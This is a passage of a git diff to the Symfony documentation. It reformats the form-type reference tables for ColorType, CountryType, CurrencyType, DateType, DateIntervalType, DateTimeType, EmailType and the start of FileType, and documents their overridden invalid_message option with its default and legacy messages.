 That's why it's not possible to select semi-transparent colors with this
 element.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``color`` field (a text box)                              |
-+-------------+---------------------------------------------------------------------+
-| Options     | - `html5`_                                                          |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ColorType` |
-+-------------+---------------------------------------------------------------------+
++---------------------------+---------------------------------------------------------------------+
+| Rendered as               | ``input`` ``color`` field (a text box)                              |
++---------------------------+---------------------------------------------------------------------+
+| Options                   | - `html5`_                                                          |
++---------------------------+---------------------------------------------------------------------+
+| Overridden options        | - `invalid_message`_                                                |
++---------------------------+---------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                           |
+|                           | - `data`_                                                           |
+|                           | - `disabled`_                                                       |
+|                           | - `empty_data`_                                                     |
+|                           | - `error_bubbling`_                                                 |
+|                           | - `error_mapping`_                                                  |
+|                           | - `help`_                                                           |
+|                           | - `help_attr`_                                                      |
+|                           | - `help_html`_                                                      |
+|                           | - `label`_                                                          |
+|                           | - `label_attr`_                                                     |
+|                           | - `label_format`_                                                   |
+|                           | - `mapped`_                                                         |
+|                           | - `required`_                                                       |
+|                           | - `row_attr`_                                                       |
+|                           | - `trim`_                                                           |
++---------------------------+---------------------------------------------------------------------+
+| Default `invalid_message` | Please select a valid color.                                        |
++---------------------------+---------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
++---------------------------+---------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ColorType` |
++---------------------------+---------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -59,6 +65,11 @@ When this option is set to ``true``, the form type checks that its value matches
 the `HTML5 color format`_ (``/^#[0-9a-f]{6}$/i``). If it doesn't match it,
 you'll see the following error message: *"This value is not a valid HTML5 color"*.
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index f4082e498e8..a2b1527764e 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -18,45 +18,50 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the
 field type automatically uses all of the countries of the world. You *can* specify
 the option manually, but then you should just use the ``ChoiceType`` directly.
 
-+-------------+-----------------------------------------------------------------------+
-| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)          |
-+-------------+-----------------------------------------------------------------------+
-| Options     | - `alpha3`_                                                           |
-|             | - `choice_translation_locale`_                                        |
-+-------------+-----------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                          |
-| options     | - `choice_translation_domain`_                                        |
-+-------------+-----------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`            |
-| options     |                                                                       |
-|             | - `error_bubbling`_                                                   |
-|             | - `error_mapping`_                                                    |
-|             | - `expanded`_                                                         |
-|             | - `multiple`_                                                         |
-|             | - `placeholder`_                                                      |
-|             | - `preferred_choices`_                                                |
-|             | - `trim`_                                                             |
-|             |                                                                       |
-|             | from the :doc:`FormType </reference/forms/types/form>`                |
-|             |                                                                       |
-|             | - `attr`_                                                             |
-|             | - `data`_                                                             |
-|             | - `disabled`_                                                         |
-|             | - `empty_data`_                                                       |
-|             | - `help`_                                                             |
-|             | - `help_attr`_                                                        |
-|             | - `help_html`_                                                        |
-|             | - `label`_                                                            |
-|             | - `label_attr`_                                                       |
-|             | - `label_format`_                                                     |
-|             | - `mapped`_                                                           |
-|             | - `required`_                                                         |
-|             | - `row_attr`_                                                         |
-+-------------+-----------------------------------------------------------------------+
-| Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                     |
-+-------------+-----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CountryType` |
-+-------------+-----------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------+
+| Rendered as               | can be various tags (see :ref:`forms-reference-choice-tags`)          |
++---------------------------+-----------------------------------------------------------------------+
+| Options                   | - `alpha3`_                                                           |
+|                           | - `choice_translation_locale`_                                        |
++---------------------------+-----------------------------------------------------------------------+
+| Overridden options        | - `choices`_                                                          |
+|                           | - `choice_translation_domain`_                                        |
+|                           | - `invalid_message`_                                                  |
++---------------------------+-----------------------------------------------------------------------+
+| Inherited options         | from the :doc:`ChoiceType </reference/forms/types/choice>`            |
+|                           |                                                                       |
+|                           | - `error_bubbling`_                                                   |
+|                           | - `error_mapping`_                                                    |
+|                           | - `expanded`_                                                         |
+|                           | - `multiple`_                                                         |
+|                           | - `placeholder`_                                                      |
+|                           | - `preferred_choices`_                                                |
+|                           | - `trim`_                                                             |
+|                           |                                                                       |
+|                           | from the :doc:`FormType </reference/forms/types/form>`                |
+|                           |                                                                       |
+|                           | - `attr`_                                                             |
+|                           | - `data`_                                                             |
+|                           | - `disabled`_                                                         |
+|                           | - `empty_data`_                                                       |
+|                           | - `help`_                                                             |
+|                           | - `help_attr`_                                                        |
+|                           | - `help_html`_                                                        |
+|                           | - `label`_                                                            |
+|                           | - `label_attr`_                                                       |
+|                           | - `label_format`_                                                     |
+|                           | - `mapped`_                                                           |
+|                           | - `required`_                                                         |
+|                           | - `row_attr`_                                                         |
++---------------------------+-----------------------------------------------------------------------+
+| Default `invalid_message` | Please select a valid country.                                        |
++---------------------------+-----------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                   |
++---------------------------+-----------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                     |
++---------------------------+-----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CountryType` |
++---------------------------+-----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -92,6 +97,8 @@ The locale is used to translate the countries names.
 
 .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index 77da0481942..e8628aa3edf 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -11,43 +11,48 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the
 field type automatically uses a large list of currencies. You *can* specify the option
 manually, but then you should just use the ``ChoiceType`` directly.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `choice_translation_locale`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>` type            |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CurrencyType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | can be various tags (see :ref:`forms-reference-choice-tags`)           |
++---------------------------+------------------------------------------------------------------------+
+| Options                   | - `choice_translation_locale`_                                         |
++---------------------------+------------------------------------------------------------------------+
+| Overridden options        | - `choices`_                                                           |
+|                           | - `choice_translation_domain`_                                         |
+|                           | - `invalid_message`_                                                   |
++---------------------------+------------------------------------------------------------------------+
+| Inherited options         | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
+|                           |                                                                        |
+|                           | - `error_bubbling`_                                                    |
+|                           | - `expanded`_                                                          |
+|                           | - `multiple`_                                                          |
+|                           | - `placeholder`_                                                       |
+|                           | - `preferred_choices`_                                                 |
+|                           | - `trim`_                                                              |
+|                           |                                                                        |
+|                           | from the :doc:`FormType </reference/forms/types/form>` type            |
+|                           |                                                                        |
+|                           | - `attr`_                                                              |
+|                           | - `data`_                                                              |
+|                           | - `disabled`_                                                          |
+|                           | - `empty_data`_                                                        |
+|                           | - `help`_                                                              |
+|                           | - `help_attr`_                                                         |
+|                           | - `help_html`_                                                         |
+|                           | - `label`_                                                             |
+|                           | - `label_attr`_                                                        |
+|                           | - `label_format`_                                                      |
+|                           | - `mapped`_                                                            |
+|                           | - `required`_                                                          |
+|                           | - `row_attr`_                                                          |
++---------------------------+------------------------------------------------------------------------+
+| Default `invalid_message` | Please select a valid currency.                                        |
++---------------------------+------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CurrencyType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -73,6 +78,8 @@ The choices option defaults to all currencies.
 
 .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index 582b5bef6ff..fa696007803 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -10,46 +10,50 @@ different HTML elements.
 This field can be rendered in a variety of different ways via the `widget`_ option
 and can understand a number of different input formats via the `input`_ option.
 
-+----------------------+-----------------------------------------------------------------------------+
-| Underlying Data Type | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
-+----------------------+-----------------------------------------------------------------------------+
-| Rendered as          | single text box or three select fields                                      |
-+----------------------+-----------------------------------------------------------------------------+
-| Options              | - `days`_                                                                   |
-|                      | - `placeholder`_                                                            |
-|                      | - `format`_                                                                 |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `input_format`_                                                           |
-|                      | - `model_timezone`_                                                         |
-|                      | - `months`_                                                                 |
-|                      | - `view_timezone`_                                                          |
-|                      | - `widget`_                                                                 |
-|                      | - `years`_                                                                  |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `by_reference`_                                                           |
-|                      | - `choice_translation_domain`_                                              |
-|                      | - `compound`_                                                               |
-|                      | - `data_class`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `error_mapping`_                                                          |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Parent type          | :doc:`FormType </reference/forms/types/form>`                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateType`          |
-+----------------------+-----------------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------------+
+| Underlying Data Type      | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
++---------------------------+-----------------------------------------------------------------------------+
+| Rendered as               | single text box or three select fields                                      |
++---------------------------+-----------------------------------------------------------------------------+
+| Options                   | - `days`_                                                                   |
+|                           | - `placeholder`_                                                            |
+|                           | - `format`_                                                                 |
+|                           | - `html5`_                                                                  |
+|                           | - `input`_                                                                  |
+|                           | - `input_format`_                                                           |
+|                           | - `model_timezone`_                                                         |
+|                           | - `months`_                                                                 |
+|                           | - `view_timezone`_                                                          |
+|                           | - `widget`_                                                                 |
+|                           | - `years`_                                                                  |
++---------------------------+-----------------------------------------------------------------------------+
+| Overridden options        | - `by_reference`_                                                           |
+|                           | - `choice_translation_domain`_                                              |
+|                           | - `compound`_                                                               |
+|                           | - `data_class`_                                                             |
+|                           | - `error_bubbling`_                                                         |
+|                           | - `invalid_message`_                                                        |
++---------------------------+-----------------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                                   |
+|                           | - `data`_                                                                   |
+|                           | - `disabled`_                                                               |
+|                           | - `error_mapping`_                                                          |
+|                           | - `help`_                                                                   |
+|                           | - `help_attr`_                                                              |
+|                           | - `help_html`_                                                              |
+|                           | - `inherit_data`_                                                           |
+|                           | - `invalid_message_parameters`_                                             |
+|                           | - `mapped`_                                                                 |
+|                           | - `row_attr`_                                                               |
++---------------------------+-----------------------------------------------------------------------------+
+| Default `invalid_message` | Please enter a valid date.                                                  |
++---------------------------+-----------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                         |
++---------------------------+-----------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                               |
++---------------------------+-----------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateType`          |
++---------------------------+-----------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -210,6 +214,8 @@ The ``DateTime`` classes are treated as immutable objects.
 
 **default**: ``false``
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -231,8 +237,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst
index 84986f93c87..69147d95bee 100644
--- a/reference/forms/types/dateinterval.rst
+++ b/reference/forms/types/dateinterval.rst
@@ -12,47 +12,52 @@ The field can be rendered in a variety of different ways (see `widget`_) and can
 give you a ``DateInterval`` object, an `ISO 8601`_ duration string (e.g. ``P1DT12H``)
 or an array (see `input`_).
 
-+----------------------+----------------------------------------------------------------------------------+
-| Underlying Data Type | can be ``DateInterval``, string or array (see the ``input`` option)              |
-+----------------------+----------------------------------------------------------------------------------+
-| Rendered as          | single text box, multiple text boxes or select fields - see the `widget`_ option |
-+----------------------+----------------------------------------------------------------------------------+
-| Options              | - `days`_                                                                        |
-|                      | - `hours`_                                                                       |
-|                      | - `minutes`_                                                                     |
-|                      | - `months`_                                                                      |
-|                      | - `seconds`_                                                                     |
-|                      | - `weeks`_                                                                       |
-|                      | - `input`_                                                                       |
-|                      | - `labels`_                                                                      |
-|                      | - `placeholder`_                                                                 |
-|                      | - `widget`_                                                                      |
-|                      | - `with_days`_                                                                   |
-|                      | - `with_hours`_                                                                  |
-|                      | - `with_invert`_                                                                 |
-|                      | - `with_minutes`_                                                                |
-|                      | - `with_months`_                                                                 |
-|                      | - `with_seconds`_                                                                |
-|                      | - `with_weeks`_                                                                  |
-|                      | - `with_years`_                                                                  |
-|                      | - `years`_                                                                       |
-+----------------------+----------------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                        |
-| options              | - `data`_                                                                        |
-|                      | - `disabled`_                                                                    |
-|                      | - `help`_                                                                        |
-|                      | - `help_attr`_                                                                   |
-|                      | - `help_html`_                                                                   |
-|                      | - `inherit_data`_                                                                |
-|                      | - `invalid_message`_                                                             |
-|                      | - `invalid_message_parameters`_                                                  |
-|                      | - `mapped`_                                                                      |
-|                      | - `row_attr`_                                                                    |
-+----------------------+----------------------------------------------------------------------------------+
-| Parent type          | :doc:`FormType </reference/forms/types/form>`                                    |
-+----------------------+----------------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateIntervalType`       |
-+----------------------+----------------------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------------------+
+| Underlying Data Type      | can be ``DateInterval``, string or array (see the ``input`` option)              |
++---------------------------+----------------------------------------------------------------------------------+
+| Rendered as               | single text box, multiple text boxes or select fields - see the `widget`_ option |
++---------------------------+----------------------------------------------------------------------------------+
+| Options                   | - `days`_                                                                        |
+|                           | - `hours`_                                                                       |
+|                           | - `minutes`_                                                                     |
+|                           | - `months`_                                                                      |
+|                           | - `seconds`_                                                                     |
+|                           | - `weeks`_                                                                       |
+|                           | - `input`_                                                                       |
+|                           | - `labels`_                                                                      |
+|                           | - `placeholder`_                                                                 |
+|                           | - `widget`_                                                                      |
+|                           | - `with_days`_                                                                   |
+|                           | - `with_hours`_                                                                  |
+|                           | - `with_invert`_                                                                 |
+|                           | - `with_minutes`_                                                                |
+|                           | - `with_months`_                                                                 |
+|                           | - `with_seconds`_                                                                |
+|                           | - `with_weeks`_                                                                  |
+|                           | - `with_years`_                                                                  |
+|                           | - `years`_                                                                       |
++---------------------------+----------------------------------------------------------------------------------+
+| Overridden options        | - `invalid_message`_                                                             |
++---------------------------+----------------------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                                        |
+|                           | - `data`_                                                                        |
+|                           | - `disabled`_                                                                    |
+|                           | - `help`_                                                                        |
+|                           | - `help_attr`_                                                                   |
+|                           | - `help_html`_                                                                   |
+|                           | - `inherit_data`_                                                                |
+|                           | - `invalid_message_parameters`_                                                  |
+|                           | - `mapped`_                                                                      |
+|                           | - `row_attr`_                                                                    |
++---------------------------+----------------------------------------------------------------------------------+
+| Default `invalid_message` | Please choose a valid date interval.                                             |
++---------------------------+----------------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                              |
++---------------------------+----------------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                                    |
++---------------------------+----------------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateIntervalType`       |
++---------------------------+----------------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -333,6 +338,11 @@ when the ``widget`` option is set to ``choice``::
     // values displayed to users range from 1 to 100 (both inclusive)
     'years' => array_combine(range(1, 100), range(1, 100)),
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -352,8 +362,6 @@ These options inherit from the :doc:`form </reference/forms/types/form>` type:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index ad56b6e2d52..ca61be3e538 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -10,55 +10,59 @@ date and time (e.g. ``1984-06-05 12:15:30``).
 Can be rendered as a text input or select tags. The underlying format of
 the data can be a ``DateTime`` object, a string, a timestamp or an array.
 
-+----------------------+-----------------------------------------------------------------------------+
-| Underlying Data Type | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
-+----------------------+-----------------------------------------------------------------------------+
-| Rendered as          | single text box or three select fields                                      |
-+----------------------+-----------------------------------------------------------------------------+
-| Options              | - `choice_translation_domain`_                                              |
-|                      | - `date_format`_                                                            |
-|                      | - `date_label`_                                                             |
-|                      | - `date_widget`_                                                            |
-|                      | - `days`_                                                                   |
-|                      | - `placeholder`_                                                            |
-|                      | - `format`_                                                                 |
-|                      | - `hours`_                                                                  |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `input_format`_                                                           |
-|                      | - `minutes`_                                                                |
-|                      | - `model_timezone`_                                                         |
-|                      | - `months`_                                                                 |
-|                      | - `seconds`_                                                                |
-|                      | - `time_label`_                                                             |
-|                      | - `time_widget`_                                                            |
-|                      | - `view_timezone`_                                                          |
-|                      | - `widget`_                                                                 |
-|                      | - `with_minutes`_                                                           |
-|                      | - `with_seconds`_                                                           |
-|                      | - `years`_                                                                  |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `by_reference`_                                                           |
-|                      | - `compound`_                                                               |
-|                      | - `data_class`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Parent type          | :doc:`FormType </reference/forms/types/form>`                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateTimeType`      |
-+----------------------+-----------------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------------+
+| Underlying Data Type      | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
++---------------------------+-----------------------------------------------------------------------------+
+| Rendered as               | single text box or three select fields                                      |
++---------------------------+-----------------------------------------------------------------------------+
+| Options                   | - `choice_translation_domain`_                                              |
+|                           | - `date_format`_                                                            |
+|                           | - `date_label`_                                                             |
+|                           | - `date_widget`_                                                            |
+|                           | - `days`_                                                                   |
+|                           | - `placeholder`_                                                            |
+|                           | - `format`_                                                                 |
+|                           | - `hours`_                                                                  |
+|                           | - `html5`_                                                                  |
+|                           | - `input`_                                                                  |
+|                           | - `input_format`_                                                           |
+|                           | - `minutes`_                                                                |
+|                           | - `model_timezone`_                                                         |
+|                           | - `months`_                                                                 |
+|                           | - `seconds`_                                                                |
+|                           | - `time_label`_                                                             |
+|                           | - `time_widget`_                                                            |
+|                           | - `view_timezone`_                                                          |
+|                           | - `widget`_                                                                 |
+|                           | - `with_minutes`_                                                           |
+|                           | - `with_seconds`_                                                           |
+|                           | - `years`_                                                                  |
++---------------------------+-----------------------------------------------------------------------------+
+| Overridden options        | - `by_reference`_                                                           |
+|                           | - `compound`_                                                               |
+|                           | - `data_class`_                                                             |
+|                           | - `error_bubbling`_                                                         |
+|                           | - `invalid_message`_                                                        |
++---------------------------+-----------------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                                   |
+|                           | - `data`_                                                                   |
+|                           | - `disabled`_                                                               |
+|                           | - `help`_                                                                   |
+|                           | - `help_attr`_                                                              |
+|                           | - `help_html`_                                                              |
+|                           | - `inherit_data`_                                                           |
+|                           | - `invalid_message_parameters`_                                             |
+|                           | - `mapped`_                                                                 |
+|                           | - `row_attr`_                                                               |
++---------------------------+-----------------------------------------------------------------------------+
+| Default `invalid_message` | Please enter a valid date and time.                                         |
++---------------------------+-----------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                         |
++---------------------------+-----------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                               |
++---------------------------+-----------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateTimeType`      |
++---------------------------+-----------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -231,6 +235,8 @@ error_bubbling
 
 **default**: ``false``
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -250,8 +256,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/email.rst b/reference/forms/types/email.rst
index 74eeaa95272..31d6f5db90b 100644
--- a/reference/forms/types/email.rst
+++ b/reference/forms/types/email.rst
@@ -7,33 +7,44 @@ EmailType Field
 The ``EmailType`` field is a text field that is rendered using the HTML5
 ``<input type="email"/>`` tag.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``email`` field (a text box)                              |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EmailType` |
-+-------------+---------------------------------------------------------------------+
++---------------------------+---------------------------------------------------------------------+
+| Rendered as               | ``input`` ``email`` field (a text box)                              |
++---------------------------+---------------------------------------------------------------------+
+| Overridden options        | - `invalid_message`_                                                |
++---------------------------+---------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                           |
+|                           | - `data`_                                                           |
+|                           | - `disabled`_                                                       |
+|                           | - `empty_data`_                                                     |
+|                           | - `error_bubbling`_                                                 |
+|                           | - `error_mapping`_                                                  |
+|                           | - `help`_                                                           |
+|                           | - `help_attr`_                                                      |
+|                           | - `help_html`_                                                      |
+|                           | - `label`_                                                          |
+|                           | - `label_attr`_                                                     |
+|                           | - `label_format`_                                                   |
+|                           | - `mapped`_                                                         |
+|                           | - `required`_                                                       |
+|                           | - `row_attr`_                                                       |
+|                           | - `trim`_                                                           |
++---------------------------+---------------------------------------------------------------------+
+| Default `invalid_message` | Please enter a valid email address.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
++---------------------------+---------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EmailType` |
++---------------------------+---------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/file.rst b/reference/forms/types/file.rst
index 66a18560577..f745c9bc1fd 100644
--- a/reference/forms/types/file.rst
+++ b/reference/forms/types/file.rst
@@ -6,33 +6,38 @@ FileType Field
 
 The ``FileType`` represents a file input in your form.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``file`` field                                            |
-+-------------+---------------------------------------------------------------------+
-| Options     | - `multiple`_                                                       |
-+-------------+---------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                       |
-| options     | - `data_class`_                                                     |
-|             | - `empty_data`_                                                     |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `disabled`_                                                       |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FileType`  |
-+-------------+---------------------------------------------------------------------+
++---------------------------+--------------------------------------------------------------------+
